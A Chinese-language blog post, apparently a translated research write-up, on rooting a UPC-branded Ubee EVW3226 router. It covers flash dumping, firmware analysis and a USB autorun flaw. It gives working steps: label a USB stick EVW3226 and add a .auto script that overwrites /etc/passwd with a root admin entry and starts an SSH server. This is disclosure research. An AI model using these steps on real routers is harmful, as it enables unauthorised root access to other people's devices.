在Blasty和他的UPC Wifi密钥生成器的激励下,我决定对我的UPC路由器进行一番研究。在这次实验中,我所使用的路由器型号为Ubee EVW3226,该路由器安装了UPC自定义固件,并且能够给用户提供了一个功能更加强大的web接口和其他的一些附加功能。
首先,我使用了一些调试pin码来对设备进行测试,并且发现了很多可能的UART连接器。我将我的Buspirate与第一个UART连接器相连,然后得到了一个受到密码保护的登录shell。我尝试了一些可能的默认密码,但都无法成功登录,所以我需要通过其他的方法来实现这一操作。根据我所找到的另一篇博文,虽然在这一类设备上还存在有另一个不受密码保护的UART连接器,但在我这个型号的路由器上却没有。
所以,我决定对设备的芯片进行详细的分析和研究,功夫不负有心人,我成功发现了两块闪存芯片:Spansion FL128PIF。在对我所得到的数据表进行了分析之后,我发现在芯片上还有一些SPI pin码,我可以利用这些信息来导出芯片中的数据(或者将数据写入其中)。所以我决定利用SOIC测试卡来对闪存芯片进行测试,并且将我的GoodFET与芯片进行连接。使用测试卡是一个非常棒的选择,因为在测试的过程中你无需将芯片从主板上拆下来。其中每块芯片的内存大小均为16MB,在使用了spiflash dump这一命令之后,我便能够将每块芯片中的所有数据全部导出。导出数据的地址范围也可以从之前所获取到的数据表中得到。
接下来,我们所要做的就是提取出其中的具体内容。在binwalk最新开发者版本的帮助下,我成功地从这两块芯片中提取出了文件系统的具体数据。但是使用这种方法导出的数据只包含UPC固件中的静态数据,目前为止我们仍然无法得到固件的运行配置信息。
在IDA的帮助下,我对其中的二进制代码进行了分析,我在aimDaemon中发现了下列代码:
通过这些这些代码,我们还发现了一些相关的代码段:这些代码能够提取出内部USB设备的标识符,如果标识符为EVW3226,那么这段代码将会执行/var/tmp/mount-sub.sh命令,并且将“go”作为该命令的第一个参数。
mount_usb.sh:
#!/bin/bash
if [ $1 == "go" ]; then
dev_path=$(blkid /dev/sd |cut -c 1-9)
eval $(blkid /dev/sd |cut -d " " -f 2)
eval $(blkid /dev/sd |cut -d " " -f 3)
eval $(blkid /dev/sd |cut -d " " -f 4)
echo "dev_path="$dev_path" LABEL="$LABEL" UUID="$UUID" TYPE="$TYPE"" >> /tmp/mountlist
umount_folder=$(mount | grep "/var/tmp" | awk '{print $3}')
for curr_folder in $umount_folder ; do
if [ -n "$curr_folder"]; then
umount -l $curr_folder
rm -fr $curr_folder
fi
done
for curr_folder in $UUID ; do
mkdir /var/tmp/media/$curr_folder -p
if [ "$TYPE" == "ntfs" ]; then
echo "ntfs-3g "$dev_path" /var/tmp/media/"$curr_folder
ntfs-3g $dev_path /var/tmp/media/$curr_folder
else
echo "mount "$dev_path" /var/tmp/media/"$curr_folder
mount $dev_path /var/tmp/media/$curr_folder
fi
if test -f /var/tmp/media/$curr_folder/.auto
then
rm -fr /var/tmp/disk
cd /var/tmp
ln -s /var/tmp/media/$curr_folder disk
chmod +x /var/tmp/media/$curr_folder/.auto
sh /var/tmp/media/$curr_folder/.auto
fi
done
if [ $2 == "1" ]; then
killall minidlna
/fss/fss2/sbin/minidlna -R -f /var/tmp/minidlna.conf
fi
else
echo $1 ... >> /var/tmp/.usbadd
fi
你可以从上面这段代码中看到,这个脚本将会加载usb存储设备(类似U盘),并且检测设备中是否存在一个后缀名为.auto的文件。如果这个文件存在,这个脚本将会在这个文件与/var/tmp/disk之间创建一个符号链接,这个.auto文件将会可以sh命令来直接执行。
这也就意味着,如果我们能够创建一个带有正确标识符的USB存储设备,那么我们就能够在路由器上执行任何我们想要执行的命令了。
我们的路由器能够以路由器模式运行,也能够以桥接模式运行。但我在实验过程中发现,路由器似乎会进行某种检测,因为它只能够在路由器模式下执行这个脚本。所以如果大家想要自行进行测试的话,请确保你的路由器是在路由器模式下运行的。
接下来,我将带着大家一步一步进行测试。
首先,我们需要准备好我们的USB存储设备:
umount /dev/sdb1
fdisk /dev/sdb # 清理设备的分区表,并创建一个新的主分区
mkfs.vfat /dev/sdb1
mlabel -i /dev/sdb1 ::EVW3226
将下列数据写入.auto文件之后,我们便可以尝试在设备上开启一个telnet服务器:
telnetd &
在插入了USB设备之后,我们需要等待几秒钟,然后便可以通过telnet来与路由器设备进行连接了。不幸的是,设备中似乎存在某些进程能够终止telnetd进程,所以在我们试图访问路由器设备时所使用的这种方法并不是一种稳定可行的方法。
幸运的是,我们还可以使用Dropbear来创建一个ssh服务器。但是在路由器的文件系统中还缺少必要的hostkeys,所以我在Ubuntu虚拟机中使用了下列命令,并在USB设备中重新创建了这些在实验中所需要的key文件:
dropbearkey -t rsa -f /media/firefart/EVW3226/dropbear_rsa_host_key
由于我无法在短时间内破解设备密码的哈希值,所以我们还需要为自己添加一个用户。在这一操作中,我们可以使用admin:admin哈希来覆盖/etc/passwd中的原始信息。
所以,最终的.auto文件如下:
#!/bin/bash
echo admin:FvTuBQSax2MqI:0:0:admin,,,:/:/bin/sh > /etc/passwd
dropbear -r /var/tmp/disk/dropbear_rsa_host_key -p 192.168.0.1:22
在插入了USB设备之后,我们还是需要等待几秒钟。等待过后,我们便可以使用ssh来与路由器设备进行连接,并使用密码"admin"来登录该设备了。
ssh [email protected]
在下一步中,我们将对路由器的内部信息进行分析。在此我向大家透露一下,在路由器固件的镜像文件中还存在有大量的密码和密钥。
如果大家还想了解更多相关的信息,请持续关注我们的文章。除此之外,在32C3大会上的一次演讲也能够给大家提供很多有价值的信息。
还没有评论,来说两句吧...